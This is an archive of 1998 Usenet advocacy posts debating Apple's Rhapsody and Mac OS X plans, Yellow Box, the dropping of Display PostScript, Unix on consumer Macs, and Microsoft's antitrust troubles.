Message-ID: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
Date: Sat, 16 May 1998 08:31:20 GMT
NNTP-Posting-Date: Sat, 16 May 1998 01:31:20 PDT
Organization: @Home Network
Hi all,
Well they dumped DPS, but that isn't the leas of it. In the Yellow Box
feedback session, I got down to some frank questions and got some clear cut
answers, FINALLY!
If you don't already know, MacOS X *IS* the next version of Rhapsody on PPC.
Yellow Box on Windows 95/NT will be around, although I'm sure they will
rename it.
And most importantly...
Rhapsody 1.0 on Intel is the *LAST* version of the Yellow Box/Mach combo for
Intel. IE: Rhapsody on Intel can be considered the end of life for that
product.
As the folks from Apple put it, they are putting all their effort into what
90% of the folks want. They stated that 95/NT and MacOS X on PPC are
basically their cross-platform developement system. I believe there was
also mention that they aren't in the OS business. There was a lot of
complaining about this after the session with Ernest Prabhakar, who was a
lot more understanding than Jordan Dea-Mattson. Numerous people expressed
concerns over this strategy, mainly from the standpoint that lots of us have
Intel systems and can not either afford to replace them, or are unable to do
so because of management constraints, and need to have a real OS. That
solution is NOT NT. Ernest did say that Apple does understand that a lot of
us do want this. While it would take a non-insignificant amount of effort
to keep delivering an Intel version, with the work that they have done on
Mach and the IOKit for drivers, the portability of the kernel to Intel is
possible, and they will keeping an open mind to doing it. It all depends
mainly on the market. I imagine that if Apple sees Rhapsody on Intel market
growing significantly from the time it is released until MacOS X comes,
especially if it grows faster than Rhapsody/PPC or NT, then who knows. It
all basically comes down to us, and the market we make.
More on Jordan. I can understand that he was probably rightfully tired of
everyone asking him about YB and Rhapsody. Even so, I felt he was becoming
very beligerent towards speakers who were asking 'message' related
questions. By the end, I was felt very much like they were saying, "Life's
tough, we don't care, so shut-up and sit down." We wouldn't keep asking
about the 'message' if the message from Apple had been delivered
unequivocally and press released. Thank goodness folks like Ernest were
there to be more understanding of our needs.
-d
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: Fri, 15 May 1998 21:13:47 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355CA18B.7019@earthlink.net>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com> <rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
What happens when they find out people like Rhapsody 1.0 and don't want
to upgrade to Mac OS X?
Steve
akira@home.com wrote:
> All of this is due in MacOS X. Rhapsody 1.0 will still be DPS.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Fri, 15 May 1998 21:09:24 +0100
Organization: EarthLink Network, Inc.
Message-ID: <355CA084.1668@earthlink.net>
References: <355bc985.0@206.25.228.5> <6jgq6j$5us@sjx-ixn10.ix.netcom.com> <6jgsjt$93u$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
One question,
We have know that the dock was going away since last year's WWDC. Has
anyone out there written one yet?
Steve
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 04:56:17 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jjkbh$cfk$1@crib.bevc.blacksburg.va.us>
References: <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <B1828B86-159FF2@207.217.155.190>
In article <B1828B86-159FF2@207.217.155.190>, "Brad Hutchings" <brad@hutchings-software.com> wrote:
I think we're more or less in agreement here on most things: Apple has
a good strategy with Carbon and Yellow and OS X, Yellow looks promising
and offers reasons to develop for it _now_, but there is still uncertainty
and doubt. I think most of our disagreement is on whether or not someone
who chooses to develop for Yellow now will have their investment wasted.
I personally can't see _any_ reason why Apple would be incapable or
uninterested in following through on their Yellow commitment. The only
thing that would hurt their commitment to Yellow is if it's been out for
some time and still no one is using it. It will take a while before that
will happen, and anyway, that's completely up to us developers, not Apple.
Just want to comment on one other thing..
> I'll believe the Windows deployment story
> when I actually see it work for a commercial quality app. Having mucked
> with a cross-platform framework (ODF nee Bedrock) and having studied Java
> AWT, I remain skeptical about the feasibility of solving many issues
> without watering down the development model to a point where "native"
> development makes more sense for a large class of apps.
Have you looked at the existing OpenStep apps now running on
Yellow/Windows? I think they represent a fairly respectable spectrum
of apps. And they're certainly "commercial quality".
And I can tell you right now: your skepticism is unfounded. I do
Windows programming (yes, I'm ashamed to admit it) at work, and I'd
rewrite our app in Yellow in a _heartbeat_ if we didn't already have all
that code invested in Microsoft's MFC. There are just _so many_ places
where the OpenStep APIs would have saved us an _enormous_ amount of time
over MFC -- and that's not even counting all the Yellow improvements
they're making! I know that if we were starting this project today
instead of two years ago, I could have convinced our management to go
Yellow for the development -- all it would have taken is a demo hacked
up over the span of a couple of weeks and they would've been sold.
As a reference, the app is an electronic form
creation/storage/retrieval/distribution/entry solution for insurance
agencies. Heck, the new PDF stuff alone would have saved us MOST of the
TOTAL development time, since the core of the app is just creating and
manipulating fields -- IB-style, really -- on top of a PDF background,
and we have to do all sorts of gormy rendering combat with Adobe Exchange
in order to get it, in a separate process, to draw into our app's
windows nicely and then let us put fields and trap events on top of it.
All kinds of refresh and event-handling problems. Plus there's the
problem of maintaining fidelity with the printed page. And Adobe has
been screwing us over with changing things around (an API call we relied
on was made so slow that we had to rewrite a lot of our code to work
around it), a 10-PDF limit on the number of documents displayed at once,
licensing fees for ATM or something like that, etc. All of those would
be nonproblems with the new Yellow imaging model!
But I wasn't even _counting_ that stuff when I said that Yellow would
have saved us a lot of time! There are just so many other, non-PDF
advantages that would have helped us. And scripting! We're hacking
together all this junk so that third-parties can custom-control our app
using Visual Basic or things like that. This would be a zero-effort
solution with the Yellow scripting architecture, and way cooler, better
integrated with teh app, and more powerful to boot! Bundles! One of
our primary development focuses right now is splitting things up into
modular plugins so that we can decouple our development efforts better.
Bundles are about a gazillion times better than the awful C++ solution
we've been forced to use. You can't beat _totally transparent_ class
integration. Distributed objects? That would solve our client-server
needs quite neatly, far easier than the time it going to take us to
get up to speed on something like CORBA and a lot easier to implement,
and again -- total transparency. EOF integration would be a great plus,
letting clients populate the forms from a database, or store the data
there, or use a database as an "intermediate" format. (We were using
Microsoft Access to store our form data but had all kinds of problems,
so we just switched to serializing it all to a file. Even NSPPL
would be better than that!) Undo framework.. I wish we had had one!
We still don't and aren't going to, it's too much work to retrofit now.
Notifications.. I've finally convinced the team of their utility,
we're using them all over the place now, but we've had to write our own
implementation (and it's nowhere near as nice as Yellow's, being crippled
by C++). Document framework.. MFC has one too, but Yellow's is better.
Internationalization.. something we'd like to get into eventually, again
MFC does it, but Yellow does it a lot better. Java.. would fit in well
with our scripting ideas, letting third parties write Java or JavaScript
to do custom things, and it would integrate seamlessly, we could expose
a subset of our API directly to them instead of making stubs and proxies,
with the Java bridge.
The list goes on and on and ON, from AppKit to Foundation to EOF to neat
tricks you can pull with the Obj-C runtime. For every API Apple has,
I can think of a superb use we could put it to (yes, even QuickTime..
some of our customers would like multimedia to be played when their
clients fill out their forms, stepping them through things and explaining
them.. this would of course be easier to do well in Yellow than through
the Windows QT APIs..). I bet we could take half of our development team
off on a skunkworks project for less than a year and _easily_ surpass
what we have now, if we could spare the developers for that long, which
we can't. (Of course, it wouldn't take us as long to rewrite the thing
from scratch in MFC as it did for us to write it in the first place,
either, since we've learned things.. but I bet that even with the time
that it would take for my team to learn the Yellow APIs and Objective-C,
we could probably rewrite it faster in Yellow now _and_ have a superior
solution in the end than we would if we rewrote it in MFC. Maybe even
if we used half our developers on Yellow versus all of them on MFC.)
I know that our app is somewhat atypical, it would probably benefit more
from Yellow than some others -- but Yellow just plain makes a LOT of sense
even for pure Windows developers, it's just devastatingly superior to MFC!
I can't think of any "watered down development model" that would have
hampered us if we had used Yellow. It's only a matter getting the word
out and educating people. That's our responsibility as well as Apple's,
and in our best interests -- the way to guarantee Yellow's success is
to make sure that developers use it, not by discouraging them; that's
a self-fulfilling prophecy.
To any developers out there reading this who aren't yet sold on Yellow..
read this! Pay attention! It saves you so much time! Tell your friends!
If you don't have a bunch of legacy code to utilize or maintain, use
Yellow for your next project. It's insanely superior to the MacOS or
MFC APIs. (Maybe Java will eventually catch up..)
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Microsoft's Hypocracy
Date: Fri, 15 May 1998 17:22:54 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1505981722540001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu> <Ox9aARDg9GA.183@upnetnews03>
In article <Ox9aARDg9GA.183@upnetnews03>, "Tim Hawkins"
<TimHawkins@email.msn.com> wrote:
>If they delayed NT 4.0 for 4 years, then they would have been scheduled to
>release it before the release of version 3.5 (the second version of NT), I
>dont think even MS plans the release of a products 4th version before the
>release of the 2nd. .
Unless, of course, they delayed the relase of 3.5 for 2 years...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 17:24:27 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1505981724270001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <see-below-1405982237090001@209.24.240.162> <355c8782.0@206.25.228.5>
In article <355c8782.0@206.25.228.5>, jkheit@xtdl.com wrote:
>Some users that I run into say stuff like "No, I never want a CLI or unix
>in the macOS, even if I don't have to see it or deal with it."
Not having it in mine is different than not having it in yours...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 17:31:49 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1505981731490001@dante.eng.uci.edu>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <355c85ca.0@206.25.228.5>
In article <355c85ca.0@206.25.228.5>, jkheit@xtdl.com wrote:
>rmcassid@uci.edu (Robert Cassidy) wrote:
>> Personally, I've never known a Mac user to suggest that others
>> shouldn't learn unix. On the other hand, I don't EVER want someone
>
>Sure, of course they won't come out and say it like that. But they
>will say stuff like "I NEVER WANT A COMMAND LINE ON A MAC, I NEVER
>WANT UNIX IN THE MAC OS." They're not going to come out and say
>"since I'm to stupid, lazy, or might be at a relative stragic
>disadvantage if you learn tools I'm unfamiliar with, I don't want
>you to have that ability."
Then what if I say it this way:
"I NEVER WANT A COMMAND LINE ON A CONSUMER MAC, I NEVER WANT UNIX IN THE
DEFAULT MAC OS"
I'll then followup and say:
"since *I* have to support these machines, I want to be able to decide if
it should be there or not. And I _want_ it there. But _I_ decide."
Unix by default for a consumer product is asking for trouble.
Unix as an option in a consumer product is fine.
Unix by default in a productivity product is asking for trouble.
Unix as an option in a productivity product is wise.
Unix by default in a server product is wise.
Unix as an option in a server product is mandatory.
I thought the whole point of unix was giving the user control. _Forcing_
it to be in there is *removing* control, no?
>> to tell me that my mom HAS to deal with unix just to use her
>> computer. Leave unix out of the _consumer_ version of the MacOS
>> X by default. Let me add it in or purchase a unix enabled version,
>> though please.
>
>You're absolutely right, and I think the BOZOs advocating the
>opposite extreme are just as silly. I'm all for letting others
>having their piece of pie, especially when it's not at my expense.
>I agree with you Rob, you can find nuts on all sides of a tree.
But most of the people that you find on the Mac see it the way that I do.
There has never been much of a differentiation in the server and client
products on the Mac, so saying it should be in there is often assumed to
be in there for everyone, all the time. Its a different community,
assumptions are different.
-Bob Cassidy
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 16 May 1998 05:03:15 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jjkoj$chf$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181> <1d93f0c.1rp62nqawhj9yN@carina47.wco.com>
In article <1d93f0c.1rp62nqawhj9yN@carina47.wco.com>, mpaque@wco.com (Mike Paquette) wrote:
> Lawson English <english@primenet.com> wrote:
> > YB is, if not dead, seriously injured.
> This turns out not to be the case.
You seem to like that phrase a lot, Mr. Renner.. :)
Seriously, you just have to wonder sometimes what kind of funny chemicals
Lawson is using.. "MacOS X isn't a consumer-oriented OS". "YB is dead".
Gosh, the world he lives in must be... interesting...
From: atahir27@aol.com (ATahir27)
Newsgroups: comp.sys.next.advocacy
Subject: Islam
Message-ID: <1998051609024200.FAA24895@ladder03.news.aol.com>
Date: 16 May 1998 09:02:42 GMT
Organization: AOL, http://www.aol.co.uk
Hello, i am writing to invite you to learn about Islam.
If you have any questions about islam, please e-mail me and i will answer you.
Salaam
Aisha
I am not writing this to offend anyone and i am not trying to convert anyone.
Just want to dispel a few myths about islam to people who are interested.
Date: Sat, 16 May 1998 14:30:34 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104>
<pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
<3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com>
<6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com>
<see-below-1305982038310001@209.24.241.190>
<355C846C.1C4327A0@spamtoNull.com>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355d1c25.0@news.camtech.net.au>
In article <355C846C.1C4327A0@spamtoNull.com> , Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>Matthew Vaughan wrote:
>
>>
>> How can it be "late" when this is the first time Apple ever gave any
>> indication such a thing might ever exist?
>>
>
>
>Will you guys puh-leas-s-s-se make up your minds? Please?....:) With a
>cracker on top?
>
>You say "Mac OS 10" is Rhapsody renamed. If it is, then it's 18 moths
>late (if it's released in Q3 1999.)
No its an enhanced "vision" of Rhapsody. The original will still ship this
year. But next year we'll get a major upgrade in the form of Mac OS X. This
does not stop Mac OS X from really only being an enhanced Rhapsody (although
some of the "enhancements" may be dubious the overall equation is both
simplified, more elegant and considerably more powerful). Not bad I'd say.
Tim Priest
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Newsgroups: comp.sys.next.advocacy
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <rmcassid-1305981048520001@dante.eng.uci.edu> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com> <6jhv90$n53$2@cronkite.cygnus.com> <6ji2k0$av4$1@crib.bevc.blacksburg.va.us>
In-Reply-To: <6ji2k0$av4$1@crib.bevc.blacksburg.va.us>
From: akira@home.com
Message-ID: <LHc71.39$Jb1.905535@news.rdc1.sfba.home.com>
Date: Sat, 16 May 1998 09:07:55 GMT
NNTP-Posting-Date: Sat, 16 May 1998 02:07:55 PDT
Organization: @Home Network
On 05/15/98, Nathan Urban wrote:
>In article <6jhv90$n53$2@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
>
>Well, if what Akira says is correct, then that would explain why NXHosting
>is gone. Not because it was associated with DPS, but because all of the
>drawing commands draw directly to the screen in their implementations,
>instead of going over some communications channel to a display server
>(whose stream can be easily redirected over a network).
The applications draw to the screen with DPS is quite complicated, but I
think I understand it fairly well. When an application draws, the drawing
commands are serialized, and shoved into a data stream that goes to the DPS
context for that application. The window server decodes that stream,
interprets it, and poof, you've got grahpics.
The serialization of the drawing commands and encoding is what makes
NXHosting possible. The encoded PS can be sent anywhere, be it a local DPS
interpreter, or one on the other side of the world. It is also this
serialization/encode/decode/interpret/draw process that makes DPS a slow
imaging model. If you've worked with DPS a lot, then you know that for fast
performance, you almost have to use pswraps or userpaths to batch up large
groups of PS commands so that you cross that DPS connection as little as
possible. In addition, if you want data back from the window server, it's
an even slower process. In addition, since commands must be serialized, it
makes multithreaded drawing very difficult, if not impossible.
So this is where the Quickdraw model comes in. Quickdraw cuts out that
server connection bit which slows everything down. One other advantage is
that by removing DPS, we get rid of all the memory issues that the DPS
interpreter had. I never had even considered the fact that the stack based
DPS interpreter could cause memory problems, but it makes sense now that I
think about it. The graphics folks talked about the fact that they
definitely are thinking about ways to encode that drawing information and
pass it to a different machine, but there are no plans as of now and that
capability almost assuredly will not be part of MacOS X.
>However, this kind of seems at odds with what Scott reported, so I'm
>confused. I can't think of any _other_ explanation for the removal of
>NXHosting, though. (I'm also still not sure if refreshes-from-buffer
>are done in the window server in a separate process, or by the app.)
From how I understand it from the meeting, refreshes from the buffer will
still be done by the window server. In the new model, the window server
will be very light weight and basically deal with the movement of windows,
ie: buffer refreshes, and the cursor. Of course, if you are using
non-retained windows which have no buffering whatsoever, then your
application will be doing all the drawing, just like how the WinBlows
drawing model does things.
So that's the scoop from me.
-d akira
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 15 May 1998 12:05:45 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1505981205450001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com>
In article <6jgf0l$fvt$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>In article <rmcassid-1305980120280001@dialin33423.slip.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
>
>> Microsoft is perfecting the ultimate marketplace bottleneck. Virtually all
>> paths from the internet and software houses to consumers cuts across MS's
>> property. The DOJ needs to put in a right-of-way for a free market to
>> result.
>
>I think the legal term is "essential resource". Microsoft must allow
>reasonable right-of-way. The problem comes in defining "reasonable".
Which will be very hard for them to prove when they also compete in
markets beyond that bottleneck. MS will have to demonstrate that they give
reasonable right-of-way to GMBuyPower vs. MS Carpoint. Considering that MS
Carpoint might be right on the users desktop, I doubt that GM can pay any
amount of money for equal treatment.
>> Uh, maybe you aren't following things as closely as I am, but MS has no
>> limit to the number of markets for them to take over.
>
>Sorry for the distraction. I was trying to make a joke. I agree, Microsoft
>has virtually unlimited growth potential. My point is, Microsoft as a
>mega-corporation will not be the Microsoft of today. Most think it will
>be worse. I think it will become an IBM or an Exxon. The conversion
>process has already begun.
Agreed. But neither IBM nor Exxon have that kind of bottleneck. Maybe if
Exxon owned all the oilfields or 96% of the refining plants, there'd be a
parallel. MS holds a marketshare and bottleneck position that I don't
think has been equalled since AT&T or Standard.
>> I agree with you. However, the consensus now seems to be that competition
>> == consumer protection in a reasonably large marketplace. That's why price
>> fixing is illegal as well.
>>
>The wind blows in different directions at different times.
I think they are blowing against MS right now.
>> It has the right to compete, but not succeed. MS is precluding
>> corporations ability to compete. A small company in PA sells a service
>> that delivers television program listings to users. They cannot compete
>> any longer.
>
>That is exactly the kind of argument the courts reject as a valid antitrust
>argument. No company (even Microsoft) can be prevented from fairly competing
>in a market.
It doesn't force MS to stop competing, it forces them to start. The only
action against MS would be to strip off the WebTV service from Win98 and
offer it separately. It could even be free. That would give consumers and
OEMs the choice to include the PA companies service instead. That's all.
>Many Ma & Pop grocery stores were destroyed by large
>supermarkets. Blockbuster Video drove many small video stores out of
>business. These kinds of propriators have attempted to sue and lost.
>There is no right to the "ability to compete".
That's a totally different situation from this. This isn't MS sucks solely
because they are big. This is MS, by being big in the OS market, is using
that advantage to virtually control the access point to the internet
providing direct access to totally unrelated services which it owns, like
auto buying, or tv listings to the absolute exclusion of competitors.
It's more akin to Blockbuster going into a town, buying the land around
the Ma & Pa shop and blocking all access to the competing store save an
unmarked alley. And doing it in a deliberate and systematic way.
>> I believe today's was breach of contract by Sun. There appears to be
>> multiple anti-trust cases lined up.
>
>The breach of contract with Sun is interesting too. I have been watching
>that one. You do know Microsoft has counter-sued, right?
I hadn't seen that, but I figured as much. My guess is that Sun is arguing
a fairly weak line that will likely lose, but might have enough merit to
slow MS down. Haven't had time to watch that stuff this week, actually.
>> By default anything that happens with Congress automatically gets a public
>> tone to it, it's all public record. But MS isn't addressing Hatch, rather
>> they seem to be countering with 'but all these people say...' which seems
>> rather childish to me. MS's defense in the courts has been quite good, but
>> the things that really hurt them are the 'to hell with Janet Reno' quality
>> comments. There's almost no turning back from that point - their position
>> wrt to the DOJ was made all too clear: 'We're above the law'.
>
>I am looking forward to reading the quote in context.
I still can't find it. I know something very much like it was said and
little was heard from Ballmer for several weeks afterword. MS's
disposition changed dramatically around the time of the apology to that
statement. But I just can't seem to find it.
>Even, if true. It does not excuse the DOJ's activities where they
>DEMONSTRATED a lack to respect for legal precedents, District Court rules
>and Contract Law.
I don't know how strong that is, really.
>As long as the DOJ continues to push the bad case, Microsoft is duty
>bound to defend itself. Microsoft's demonstrated philosphy is to be
>agressive in all endevors.
Even if the DOJ pushes a good case, MS should defend itself. MS is being
aggressive toward users, though. Americans have an inherent distaste for
corporate bullies, and MS is #1 on the list right now.
>> Since 95 as it shipped in 95 seems to be clear from Consent issues, we can
>> only look at the additions since then and I'm not aware of any other
>> separate products beside IE.
>
>This gets to be nit-picky and argumentative, but here goes...
>
>In 95 Microsoft had Windows95 and the Plus Pack.
>
>The Plus pack included Internet Explorer, Dial-up server, Drivespace3,
>System Scheduler and 3D Pinball.
>
>Eventually all of them were "integrated" into Windows95, except 3D Pinball.
But they were not integrated at the time of the decree. They were
separate. If they were kept in the Plus Pack, and even given away as a
separate item, I think MS would never have found themselves in court. MS
has to do *so* little to stay out of this. It's silly and greedy for them
to continue the course that they are.
>There are lots of separate products in Windows9x.
Not added since 95 came out. And the separate ones added in 98 are being
targetted as we speak.
>> Yet MS will do this, and given the already flawed nature of the process,
>> the DOJ would face a much tougher battle. Typically I'd agree with you,
>> but the situation with MS has gone WAY too far already to let it go any
>> further.
>
>This boils down to the "ends justifies the means" argument.
>If you admit to it, I will respect your opinion.
>I just do not share it.
In this case I do admit to it. I don't like that I have that opinion, but
somewhere MS crossed a line that I no longer care how the correction comes
about, I just want it to happen. I don't have the same opinion for any
other company, even Intel.
>> Based on what? Based on a product that doesn't exist, that won't exist
>> officially until this Friday. I don't think they have a choice but to
>> wait.
>
>What is so different about Windows98? If it is vital to the DOJ's case,
>then, yes, the DOJ must allow it to be released BEFORE filing anti-trust
>charges.
What's different about Win98 is putting MS services like Carpoint right on
the desktop for every PC shipped from here on out. They've used the IE
integration to take their non-OS, non-browser product into the OS and
browser space in a manner that no other company can compete with. GM now
needs to not only strike a deal with another browser vendor, but extend
that back one more step to the OS vendor as well. Normally, that wouldn't
be an issue, but since GM's competitor in that space *is* MS, it's totally
unrealistic to think that MS will allow GM on the desktop. MS can use it's
OS dominance, and it's IE integration to deliver MS commerce services to
users that nobody else can do, not because their competitors are slow or
stupid, but becasue it requires their competitors to *outproduce* MS in a
market in which they have absolutely no ability. Win98 requires GM to be
an OS vendor in order to compete online. That's unfair.
That's not an issue with 95.
>> Clearly MS is using it more effectively, they are still winning. Not sure
>> how things will work out under anti-trust should it be filed, however. MS
>> will have a tough time demonstrating that they are not a monopoly as they
>> seem to fit the definition far better than almost anyone has in a very
>> long time.
>>
>The DOJ has the burden of proof. Having 100% of a market is not a monopoly
>if others can take it away from you.
That's only one element of a monopoly. Another element is the
'chokepoint'. Another element is leveraging one product to generate a
monopoly in another. MS can be argued to be a monopoly in all 3 manners:
1) by having nearly 100% of the OS marketplace. A better, IMO, argument is
that MS has a monopoly in the Office suite space. Even though the
marketshare percentages are slightly smaller, the fact that competitors
products are unable to properly exchange information with Office users
suggests that others cannot take it away. Word format documents are akin
to legal tender in the marketplace. Unless MS is willing to publish the
entire format specifications for their Office document formats, there is
no reasonable ability for a competitor to take that market away.
2) by using their position in the OS market to generate a monopoly in the
web browser space. The mandatory integration of the two guarantees this
will happen even before the product can ship. Should MS make IE an
optional install, that guarantee goes away.
3) by integrating IE with 98, MS creates a chokepoint to the internet that
drastically limits the abilities of certain vendors to compete. Those
vendors are the ones competing with MS owned services, which can be
assumed will never get direct access by users.
>Microsoft's position is a lot more
>shaky than many non-monopolies. We had a lot of interesting talk about
>how Java and Netscape were going to make Windows irrelavent. If true, it
>would provide a strong defense for Microsoft.
I don't think so, really. Any shakiness comes not from Java - Java
*cannot* make Windows irrelevant unless it can make Office irrelevant,
which it cannot do. Any shakiness comes from Intel failing to deliver
hardware solutions that allow MS to stay ahead of competitors. It wouldn't
be easy for a competitor to unseat Windows, but I can forsee a scenario
where that could happen.
Many of the people against anti-trust like to point to how companies that
have been targetted by anti-trust suits in the past ultimately lost their
position in the marketplace. What they fail to note, however, is how it
generally takes 10 or more years for that to happen. Do we all want to
suffer thorough the MS dark ages of computing for that long?
And as for MS's statement that they provide more value to the consumer for
less money, a fresh shrinkwraped copy of 98 can cost as much as 25% of the
cost of a computer now, likely an all-time high. OS's have never been so
expensive.
-Bob Cassidy
Subject: Re: rhapsody dr2 for intel??!??!??!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <6jfnhh$15o$2@msunews.cl.msu.edu> <6jh84t$c6u$1@diana.bcn.ibernet.es> <6ji5gv$n8h$3@msunews.cl.msu.edu> <6jja21$c3q$1@crib.bevc.blacksburg.va.us>
In-Reply-To: <6jja21$c3q$1@crib.bevc.blacksburg.va.us>
From: akira@home.com
Message-ID: <GWc71.40$Jb1.909763@news.rdc1.sfba.home.com>
Date: Sat, 16 May 1998 09:23:50 GMT
NNTP-Posting-Date: Sat, 16 May 1998 02:23:50 PDT
Organization: @Home Network
On 05/15/98, Nathan Urban wrote:
>In article <6ji5gv$n8h$3@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
>
>> I also agree I don't understand why Intel would be pushed back a bit.
>> Perhaps they wanted to finish doing some tuning for Intel?? :) I
>> think they are working hard on the PPC code and then folding in to the
Intel
>> version. Which makes sense for them..
>
>Yeah. Regardless of Intel's importance to them, there is no question
>that PPC is the _more_ important of the two. And doing QA on two
>architectures at once is time-consuming. They may just be doing all
>their testing on PPC and then doing the Intel testing later once they've
>got the main problems worked out.
That is exactly the reason. This has been stated to me several times by
people over at Apple when I bugged them about DR1/Intel being delivered
quite awhile after PPC. When they are developing, parallel development is
the default, but when they go to qualify the different versions for release,
they have to serialize their efforts to focus on a specific product.
For developer releases, this is kinda irritating, and hopefully it won't
take as long as DR1 took to get out on Intel.
Now the actual consumer release of Rhapsody will be have the same process
done, but they will wait to release all the versions at the same time.
-d akira
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: IDEAS: proposed improvements for the MacOS
Date: Sat, 16 May 1998 03:27:05 -0600
Organization: Stone Entertainment
Message-ID: <stone-ya02408000R1605980327050001@news.enetis.net>
